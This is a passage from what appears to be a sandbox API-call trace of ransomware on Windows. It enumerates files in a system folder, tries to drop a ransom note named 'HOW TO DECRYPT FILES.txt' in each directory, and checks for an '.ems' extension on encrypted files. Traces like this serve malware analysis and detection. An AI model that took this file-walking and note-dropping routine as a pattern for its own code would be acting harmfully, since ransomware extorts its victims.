lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="avantgo.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\avantgo.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\avantgo.browser" [0165.349] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\avantgo.browser", pszSpec="*.ems") returned 0 [0165.349] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf16e99f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf16e99f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96925179, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1001, dwReserved0=0x0, dwReserved1=0x0, cFileName="cassio.browser", cAlternateFileName="CASSIO~1.BRO")) returned 1 [0165.349] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.349] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cassio.browser") returned 1 [0165.349] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cassio.browser") returned 1 [0165.349] lstrcmpiA (lpString1="", lpString2="cassio.browser") returned -1 [0165.349] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\avantgo.browser") returned="avantgo.browser" [0165.349] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.349] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.349] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.349] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.350] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.350] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.350] CloseHandle (hObject=0xffffffff) returned 0 [0165.350] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="cassio.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\cassio.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\cassio.browser" [0165.350] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\cassio.browser", pszSpec="*.ems") returned 0 [0165.350] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf194afc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf194afc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96a099ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3230, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.browser", cAlternateFileName="DEFAUL~1.BRO")) returned 1 [0165.351] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.351] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Default.browser") returned 1 [0165.351] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Default.browser") returned 1 [0165.351] lstrcmpiA (lpString1="", lpString2="Default.browser") returned -1 [0165.351] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\cassio.browser") returned="cassio.browser" [0165.351] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.351] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.351] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.351] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.351] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.351] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.351] CloseHandle (hObject=0xffffffff) returned 0 [0165.352] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="Default.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Default.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Default.browser" [0165.352] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Default.browser", pszSpec="*.ems") returned 0 [0165.352] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1bac59, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf1bac59, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96b1433f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xf546, dwReserved0=0x0, dwReserved1=0x0, cFileName="docomo.browser", cAlternateFileName="DOCOMO~1.BRO")) returned 1 [0165.352] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.352] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="docomo.browser") returned 1 [0165.352] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="docomo.browser") returned 1 [0165.352] lstrcmpiA (lpString1="", lpString2="docomo.browser") returned -1 [0165.352] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Default.browser") returned="Default.browser" [0165.352] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.352] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.352] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.352] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.352] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.353] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.353] CloseHandle (hObject=0xffffffff) returned 0 [0165.353] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="docomo.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\docomo.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\docomo.browser" [0165.353] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\docomo.browser", pszSpec="*.ems") returned 0 [0165.353] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1e0db6, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf1e0db6, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96b1433f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x767a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ericsson.browser", cAlternateFileName="ERICSS~1.BRO")) returned 1 [0165.353] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.353] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ericsson.browser") returned -1 [0165.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ericsson.browser") returned 1 [0165.354] lstrcmpiA (lpString1="", lpString2="ericsson.browser") returned -1 [0165.354] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\docomo.browser") returned="docomo.browser" [0165.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.354] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.354] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.354] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.354] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.354] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.354] CloseHandle (hObject=0xffffffff) returned 0 [0165.354] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="ericsson.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ericsson.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ericsson.browser" [0165.354] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ericsson.browser", pszSpec="*.ems") returned 0 [0165.355] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf206f13, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf206f13, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96b3a49d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EZWap.browser", cAlternateFileName="EZWAP~1.BRO")) returned 1 [0165.355] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.355] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EZWap.browser") returned -1 [0165.355] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EZWap.browser") returned 1 [0165.355] lstrcmpiA (lpString1="", lpString2="EZWap.browser") returned -1 [0165.355] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\ericsson.browser") returned="ericsson.browser" [0165.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.355] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.355] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.355] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.355] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.356] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.356] CloseHandle (hObject=0xffffffff) returned 0 [0165.356] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="EZWap.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\EZWap.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\EZWap.browser" [0165.356] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\EZWap.browser", pszSpec="*.ems") returned 0 [0165.356] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf206f13, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf206f13, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96b86759, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2621, dwReserved0=0x0, dwReserved1=0x0, cFileName="gateway.browser", cAlternateFileName="GATEWA~1.BRO")) returned 1 [0165.356] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gateway.browser") returned -1 [0165.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gateway.browser") returned 1 [0165.356] lstrcmpiA (lpString1="", lpString2="gateway.browser") returned -1 [0165.357] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\EZWap.browser") returned="EZWap.browser" [0165.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.357] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.357] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.357] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.357] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.357] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.357] CloseHandle (hObject=0xffffffff) returned 0 [0165.357] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="gateway.browser" | out: 